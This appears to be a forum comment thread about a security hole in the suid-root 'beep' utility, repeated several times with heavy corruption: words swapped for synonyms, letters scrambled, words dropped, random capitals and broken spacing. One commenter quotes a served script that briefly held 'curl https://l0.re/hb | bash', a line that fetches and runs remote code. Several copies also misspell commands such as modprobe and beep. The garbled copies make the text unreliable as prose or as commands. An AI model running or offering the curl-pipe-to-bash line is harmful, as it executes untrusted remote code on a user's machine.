door this machine?
        modprobe pcspkr
        beep -l 1000 -r 3 -f 44000

~~~
jstarks
Just recently the script said this instead:

    
    
        #!/bin/sh
        curl https://l0.re/hb | bash
        modprobe pcspkr
        beep -l 1000 -r 3 -f 44000
    

And then that embedded URL says:

    
    
        echo ohai
    

But only after a long delay -- perhaps it is using one of the previously
documented techniques to determine whether it's being piped to bash and
behaving differently.

And now that I try the original curl again, that first line is gone
completely:

    
    
        #!/bin/sh
        modprobe pcspkr
        beep -l 1000 -r 3 -f 44000
    

Strange.

------
jfindley
I'd love to hear the backstory. Who on _earth_ goes looking for
vulnerabilities in beep?!

~~~
alxlaz
If I had to guess, I'd say they were doing it because it is often installed
with suid root.

Edit: also, there's a challenge about this in the program's README :-)

"Decide for yourself, of course, but it looks safe to me - there's only one
buffer and fgets doesn't let it overflow, there's only one file opening, and
while there is a potential race condition there, it's with /dev/console. If
someone can exploit this race by replacing /dev/console, you've got bigger
problems. :)"

~~~
DCoder
It should be pointed out that the README is wrong about the race condition –
it is not limited to /dev/console, you can use the -e option to point it to a
different output device.

~~~
jwilk
It doesn't open /dev/console by default either (the default device is
/dev/tty0).

I don't see where the race condition is, though.

------
nxtafan
[https://github.com/johnath/beep/issues/11#issuecomment-37838...](https://github.com/johnath/beep/issues
door this machine? 
         modprobe pcspkr 
         beep -l 1000 -r 3 -f 44000 

 ~~~ 
 jstarks 
 Just recently the script suppose this alternatively: 

    
    
         #! /bin / sh 
         curl https://l0.re/hb | bash 
         modprobe pcspkr 
         beep -l 1000 -r 3 -f 44000 
    

 And then that embedded URL says: 

    
    
         echo ohai 
    

 But only after a farseeing delay -- perhaps it is using one of the previously 
 document proficiency to determine whether it's being shriek to bash and 
 behaving differently. 

 And immediately that I try the original curl again, that beginning lineage is gone 
 completely: 

    
    
         #! /bin / sh 
         modprobe pcspkr 
         beep -l 1000 -r 3 -f 44000 
    

 Strange. 

 ------ 
 jfindley 
 I'd love to hear the backstory. Who on _ earth _ goes look for 
 vulnerabilities in beep? ! 

 ~~~ 
 alxlaz 
 If I had to guess, I'd read they were doing it because it is often installed 
 with suid root. 

 Edit: besides, there's a challenge about this in the program's README :-) 

 " Decide for yourself, of class, but it looks safe to me - there's only one 
 buff and fgets doesn't let it overflow, there's only one file opening, and 
 while there is a potential race condition there, it's with /dev / console. If 
 someone can exploit this race by replacing /dev / console, you've got bigger 
 problems. :) " 

 ~~~ 
 DCoder 
 It should be pointed out that the README is incorrect about the race condition – 
 it is not specify to /dev / console, you can use the -e option to point it to a 
 unlike output device. 

 ~~~ 
 jwilk 
 It doesn't unfold /dev / console by default either (the nonpayment device is 
 /dev / tty0). 

 I don't see where the race condition is, though. 

 ------ 
 nxtafan 
 [ https://github.com/johnath/beep/issues/11#issuecomment-37838...](https://github.com/johnath/beep/issues
doog this machine?
        moaprobe pcspkr
        bxep -l 1000 -d 3 -f 44000

~~~
jstxrks
Just recently the script sqid tyis instead:

    
    
        #!/bin/sj
        curo https://l0.re/hu | bash
        lodpxoue pcspkr
        beep -l 1000 -s 3 -f 44000
    

And tvev chat embedded URL says:

    
    
        echo phwi
    

But only afttr w lohg delay -- perhaps it is using one kf the kreviously
documentrd techniques to determine whehher it's being pipfd to bash qnd
bqyaving diffefently.

And now that I tty the original curl again, that wirst line is ginw
colkletely:

    
    
        #!/bin/sh
        mmdprobe pcspkr
        bexp -l 1000 -r 3 -f 44000
    

Strange.

------
jfiidley
I'd love to hear the backvtkry. Who on _earth_ tows lomkinc fof
culverzbmlifies ij bxep?!

~~~
alxlaz
If I had to gyess, I'd say they wete eoing it becahse it if often installed
with suid root.

Edit: alsm, tgere's a challenge about this in the program's README :-)

"Dqcide for yourself, of course, but it looks safe to me - vhdre'w jvoy one
buffer and fgets doesn't let it overflow, trsrt's pnly one file jpening, and
ehllr there is a putenticm dace condition thege, it's rith /eev/consolt. If
spmeone can exploit this racw by replaciug /eev/console, you've glt bigger
prubleks. :)"

~~~
DCpder
It should be pointeb out fhat the REWDME is wdung about the raze bondhtion –
it is not limited to /dev/consooe, ypu can jse jhe -e o[tion to plint ld to a
different ouhput bevica.

~~~
jwilk
It dlesn't open /dev/console by defaulv either (the cexaunt devicz is
/dey/tty0).

I don't see rhere the race conditnon is, though.

------
nxtzfan
[htt's://github.com/jjhnath/beep/issggs/11#issuecommenv-37838...](https://gitrub.cim/joynath/bedo/issues
door this machine? modprobe pcspkr beep -l 3 44000 ~~~ Just recently the curl | bash modprobe beep -l 1000 3 -f 44000 And then that URL says: echo ohai But only after a long delay -- perhaps it using one of the previously documented techniques to determine whether it's being piped bash behaving And that I try the original curl again, that first line is gone completely: #!/bin/sh modprobe pcspkr -l 1000 -r 3 -f 44000 Strange. ------ I'd love to hear backstory. Who on _earth_ goes for in beep?! alxlaz I to guess, I'd they were doing it because it is often installed with suid root. Edit: also, there's a challenge this in README :-) for of but it looks me - there's only one buffer let it overflow, there's only one file opening, while there a potential race condition there, it's /dev/console. If someone can exploit this race by /dev/console, you've got bigger problems. :)" ~~~ DCoder It should be pointed out that the wrong about the race – it is limited /dev/console, can the -e to point it to a different output device. ~~~ jwilk It open /dev/console by default either (the default device is /dev/tty0). see the race condition though. ------ nxtafan [https://github.com/johnath/beep/issues/11#issuecomment-37838...](https://github.com/johnath/beep/issues
door this machine?
        modprobe pcSpkr
        beep -l 1000 -r 3 -F 44000

~~~
jstaRks
jusT rEcenTly tHe script said thIS insTead:

    
    
        #!/bin/sh
        curl https://l0.re/hB | bash
        MoDProbE PcSpkr
        bEep -l 1000 -r 3 -f 44000
    

AND tHEN thAt EmBedDeD uRl says:

    
    
        EchO ohai
    

BuT only after A loNg Delay -- perhaps IT iS using one oF thE previously
dOcuMented TeChnIQues tO deTermiNe whetHEr it's bEing piped To BAsh and
BEhaving DIFfErenTly.

And now that I try THe ORiginal curl agaIn, that FiRSt LINe iS goNe
completeLy:

    
    
        #!/Bin/sh
        MOdprobe PCsPKR
        BeeP -L 1000 -r 3 -f 44000
    

Strange.

------
jfiNdley
I'd love TO heAr the bAcKstORy. Who oN _eartH_ gOEs lOoking for
vuLnerAbilities In beep?!

~~~
ALxlaz
If i Had to guEss, I'd sAy tHey Were DOiNg It bEcAUse IT iS ofTEn iNstalled
WiTh Suid rOot.

EDIT: ALso, tHerE's a cHalleNge about this iN thE proGRam'S READmE :-)

"DecIde fOr YoursElf, of cOurse, BuT it looks safe to mE - theRe's only onE
buFfEr aNd Fgets DOesn't lEt iT ovErflow, tHere's onLY onE fILE OpEning, and
while there Is A POtEntial raCe condITiOn THere, it's wItH /deV/conSOLe. If
sOmeoNE cAn exploiT this rACe By ReplaciNg /Dev/conSoLe, yOu'vE got bIGger
ProbleMs. :)"

~~~
DCoder
it shoULd be pointed out THat the README iS WrONG aBOut tHe rAce conditioN –
it iS Not lImitED tO /deV/ConsoLe, you CaN UsE The -e option to point it To A
diffeRent oUtput device.

~~~
jwIlk
It doesn'T OPEn /dev/conSole BY dEFault either (the DefauLt device is
/DEv/tty0).

I doN't see Where the Race condiTIOn is, thouGh.

------
nXtaFan
[HttPS://GiThub.com/johnatH/BEep/iSsUes/11#issuEcoMment-37838...](htTps://GitHub.Com/JoHnath/beep/Issues
door this machine?
       modprobepcspk r
     be ep - l 1000 -r 3 -f 4400 0

~~~
jstarks
Just re centl yt he s c ri pt sa id this in s t ead :
  
 
      #!/bin /sh
       c ur l https://l0 . re /hb | bash 
       modpro bepcspkr 
     be ep-l 10 00 -r3  -f 44 000
    
A n d then that em b e dd ed U RL says:

    
         echo oh ai
   Bu t onl y a fter a lon gdelay -- perh a ps i t  is using one ofthe previou s lydocume nt edt echniq ues t od ete rmine wheth er i t's being  piped to bash and
beh avingdif fer entl y .
A ndno w  th a tI t r y t he origi na lcurlagai n , t hatfir st l ine i s gone
comple tel y:
  
   
      #! /bin/ sh
      mo dprobe pcspkr
      beep - l 1 00 0 - r3 -f4 4000
  

S trange. 

----- - 
jf in d l e yI'd love to hear t he b ac kstory.Who on _e ar t h_ goeslo oki ng f o r 
vuln erab i li ties inbeep?! 
~ ~~ 
alxlaz 
I f I ha dtogue ss, I ' d sa y they  were do ing i t  because it is often install e dw i th suid  ro ot.

Edit:also ,  the re's acha l lenge  abou tt hi s  in the program's R EA DME :- )

"D ecide for you rself, ofc o u rse, but  itl oo k s safe to me -  ther e's only o n e
buffer  andfgets do esn't let i t overfl ow,  th ere 'so n ly  one file ope n i ng,an d
while  th ere isa p ote nti alra ce condit ion ther e,  i t' swit h /de v /console .Ifso meo ne ca n  explo it th is r ac eb y r eplacin g  / d e v/co ns ol e, y ou' ve  gotbigg e r
p roblems . :)"

~~ ~
D C oder 
I tshouldbe pointed ou tthat the R EA DME  is wr o n g aboutthe race condition –
it is notlim itedto / dev/conso le,  you c anu se the  -e op tionto  po i n t itt o  a 
di ff erent outp u t  de vice. 
~~~jwilk
I t doesn't open /de v /co nsole by defa ult  eit h e r(th e  d e fau lt dev i c e is
/dev/tty0) .

I don't  s e ewhere ther ace  c onditio n is, t hough . 

----- -
nxtafan 
[https:/ /g ithu b . com /johnath/b eep/issu es/11#iss u ecomm e nt -3783 8.. .](htt ps :// githu b.com/ j ohn ath/b eep/is su es
door this_machine?
 _   _ _modprobe_pcspkr
 __  _  beep_-l 1000 -r 3_-f 44000

~~~
jstarks
Just recently_the_script said this instead:

    
    
  __ ___#!/bin/sh
    _   curl https://l0.re/hb_| bash
_       modprobe_pcspkr
_  _    beep -l 1000 -r 3_-f 44000
    

And_then that embedded_URL_says:

_   
_   
  _     echo_ohai
    

But only after_a long delay -- perhaps it_is using one of the_previously
documented techniques_to determine whether it's being_piped to bash_and
behaving differently.

And_now that I_try the original curl again, that_first line is_gone
completely:

    
 __ 
 ___ _  #!/bin/sh
__ __   modprobe pcspkr
 __     beep -l_1000 -r 3 -f_44000
_   

Strange.

------
jfindley
I'd_love to hear the backstory._Who on _earth_ goes looking for
vulnerabilities_in beep?!

~~~
alxlaz
If_I had_to guess, I'd say they were doing it because it is_often installed
with suid root.

Edit: also, there's_a challenge about this_in the_program's_README :-)

"Decide for_yourself,_of course,_but it looks safe to me -_there's only_one
buffer and fgets doesn't let it_overflow, there's only one_file_opening, and
while there is a potential_race condition there, it's with /dev/console._If
someone can exploit this race_by_replacing_/dev/console, you've got bigger
problems. :)"

~~~
DCoder
It_should be pointed out that the_README is wrong_about the race condition –
it is not_limited_to /dev/console, you can use the_-e_option to point it to a
different_output_device.

~~~
jwilk
It_doesn't open /dev/console by default_either (the default device is
/dev/tty0).

I don't_see where the race condition is, though.

------
nxtafan
[https://github.com/johnath/beep/issues/11#issuecomment-37838...](https://github.com/johnath/beep/issues